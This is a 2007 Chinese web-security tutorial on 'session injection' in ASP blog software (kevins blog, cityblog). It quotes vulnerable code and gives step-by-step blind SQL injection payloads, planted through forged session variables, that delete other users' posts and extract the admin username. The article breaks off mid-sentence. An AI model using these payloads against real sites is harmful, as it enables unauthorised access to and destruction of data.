频道栏目
首页 > 安全 > 网站安全 > 正文

新型注入方式直击网络——session注入探究

2007-12-13 08:40:03           
收藏   我要投稿

落叶纷飞 & 华夏鸡头4 [S.S.T]  邪恶八进制

注意:文章首发脚本安全小组论坛www.Cnsst.Org),后由原创作者友情提交到邪恶八进制信息安全团队,转载请注明首发站点。

——思路源于“流转”
首先说明,本文不是讲session欺骗方法或原理。
    1年前流转跟我说他有一个想法,就是session注入,当时我认为有点不可能,因为session很少进库的,就算进库了,也注射不了,就算能注射,也不能回显,对access没什么用处。后来看“寂寞的刺猬”大哥写的一篇漏洞分析文章的时候无意中发现他截取的代码里有session进库了,所以昨晚无聊,就test了起来。
    我们首先可以来证明一下session是否能注入,来看kevins blog的setting.asp文件的一段代码(kevin大家不要打我哦=):
....省略....

Copy code
<%
if session("Admin")<>"ok" then
response.redirect("index.asp")
end if
if request.Form("passwd")<>"" and request.Form("passwd1")<>"" and request.Form("passwd2")<>"" then
dim rs
set rs=Server.Createobject("Adodb.recordset")
sql="select * from kevinadmin"
rs.open sql,conn
oldpass=rs("k_pass")
if oldpass<>request.Form("passwd") then
response.write "第一次验证失败<br>"
else
if request.Form("passwd1")<>request.Form("passwd2") then
response.write "两次输入不同<br>"
else
rs.close
sql="update kevinadmin set k_pass=" & request.Form("passwd2") &" Where k_user=" & session("user") & ""
response.write sql
rs.open sql,conn
if err then
response.write "修改失败"
else
response.write "修改成功"
end if
end if
end if
end if
%>

....省略....
    这个是修改管理员密码的文件,但是请大家注意这一句“sql="update kevinadmin set k_pass=" & request.Form("passwd2") &" Where k_user=" & session("user") & ""”,看到了吧session居然进库了,出于测试的目的,我们把它的代码改一下,去掉管理员认证。代码如下:
....省略....

Copy code
<%
dim rs
set rs=Server.Createobject("Adodb.recordset")
sql="select * from kevinadmin"
rs.open sql,conn
oldpass=rs("k_pass")
rs.close
sql="update kevinadmin set k_pass=" & request.Form("passwd2") &" Where k_user=" & session("user") & ""
response.write sql
rs.open sql,conn
if err then
response.write "修改失败"
else
response.write "修改成功"
end if
%>

....省略....
    我把它保存为1.asp,现在我们来构造一个2.asp,代码如下:

Copy code
<%
session("user")="Huanhuanand 1=2 and 1=1"
%>

    这里要注意一下,kevins blog的管理员名为Huanhuan,密码为123456。OK,我们先打开这个2.asp文件,然后再打开1.asp,其他的地方不用输入,只要在“新管理密码”里输入新的密码就行,我们来输入1234,然后点提交,如图1。

 \
    修改失败,呵呵,我们把2.asp的代码改为如下:

Copy code
<%
session("user")="Huanhuanand 1=1 and 1=1"
%>

    再修改下密码,怎么样,修改成功了吧,如图2。

 \
    这样初步证明了session是可以注入的,但是我想如果没有实例的话大家可能不会服,好的,我们来看实例。就拿cityblog来做个例子,cityblog是一款多用户blog,读过它的代码的人都知道,它过滤得非常严谨。我们来看UserManage/Article_Del.Asp文件的一段代码:
....省略....

Copy code

IF CblogObj.FormRequest("Action")="delete" And CblogObj.FormRequest("ArticleID")<>"" Then
Dim ArticleID,Ch
ArticleID=CblogObj.FormRequest("ArticleID")

....省略....

Copy code
Set Rs=Conn.Execute("Select Article_Code From Article Where Article_ID IN("& ArticleID &") GROUP BY Article_Code")
DO While Not Rs.Eof
Ch=Ch & "|" & "Article_ByClass" & Rs(0)
RS.MoveNext
Loop
Rs.Close:Set Rs=Nothing
IF INSTR(Ch,"|")>0 Then
Ch=Mid(Ch,2)
End IF
Conn.Execute "Delete From Article Where User_ID="& Session("UserID") &" And Article_ID IN("& ArticleID &")"
Conn.Execute "Delete From Tb_Reply Where Reply_User="& Session("UserID") &" And Reply_Blog_ID IN("& ArticleID &")"
Conn.Execute("delete from TrackBack where ArticleID in("& ArticleID &")")

....省略....
    ArticleID在赋值的时候就做了过滤,但是我们看看Session("UserID")这个session变量,根本没做过滤就丢到库里了,呵呵,大家不用急着看注入结果,我们先来从session欺骗去攻击他。
注册两个,一个名为asdasd,密码111111;另一个为asdasdaa,密码222222,用asdasd发表一篇日志,名为“aaaaaaa”内容随便;用asdasdaa发表一篇名为“bbbbbbbb”的日志。然后用asdasdaa用户进入“日志列表”里,现在我们来构造一个设置session的asp文件s.asp,代码如下:


Copy code
<%
Session("UserID")="105"
%>

    这里可能有人会问,怎么确定userid呢?请看图3。

 \
    “user0”跟着后面的那个数字就是userid了,这里asdasd的userid为105,asdasdaa的userid为106。我们打开s.asp,然后刷新一下“日志列表”页面,如图4。

 \
    看到了吗?asdasd发表的日志显赫的摆在眼前,而且还能删除。
    呵呵,欺骗成功了。现在我们从session注入的角度来攻击他,我们用asdasdaa发8篇日志,然后构造设置session的文件s.asp,代码如下:

Copy code
<%
Session("UserID")="106 and 1=1"
%>

    我们打开s.asp,然后随便选中一篇日志(要记住这篇日志的名称),点击“删除”按钮,删除成功!再来,我们吧s.asp的代码改为:

Copy code
<%
Session("UserID")="106 and 1=2"
%>

    打开s.asp,然后随便选中一篇点击日志(记住日志名称),然后点击删除,提示删除成功了,但是我们回到“日志列表”看一看,居然没有日志了,如图5

 







\


    呵呵,我们重新登录asdasdaa一下,打开“日志列表”看看,哈哈!除了and 1=1删除的那篇日志之外,其他的日志都存在。我们看把代码修改为:

Copy code
<%
Session("UserID")="106 and exists(select count(*) from tb_admin)"
%>

    然后随便点一篇日志删除(记住日志名,下面不打了。累....),哈哈,删除成功,证明存在tb_admin这个表。再来,把代码修改为:

Copy code
<%
Session("UserID")="106 and exists(select count(*) from tb_adm)"
%>

    删除一篇日志,哈哈出现了and 1=2的页面,证明不存在表tb_adm。继续测试,代码如下:

Copy code
<%
Session("UserID")="106 and exists(select Blog_Admin_Name from tb_admin)"
%>

    删除日志成功,证明tb_admin中存在Blog_Admin_Name字段,呵呵。再来,代码如下:

Copy code
<%
Session("UserID")="106 and exists(select len(Blog_Admin_Name) from tb_admin)=5"
%>

    删除成功,说明Blog_Admin_Name中的第一个管理员用户名的长度为5。再来,代码如下:

Copy code
<%
Session("UserID")="106 and exists(select left(Blog_Admin_Name,1) from tb_admin)=j"
%>

    日志全没了,说明Blog_Admin_Name字段的第一个管理员名的第一个字符不是j。再来,代码如下:

Copy code
<%
Session("UserID")="106 and exists(select left(Blog_Admin_Name,1) from tb_admin)=a"
%>

    删除成功,说明Bl

相关TAG标签 方式 网络
上一篇:通过设置p3p头来实现跨域访问cookie
下一篇:十三WEBSHELL终结版后门的发现之旅
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站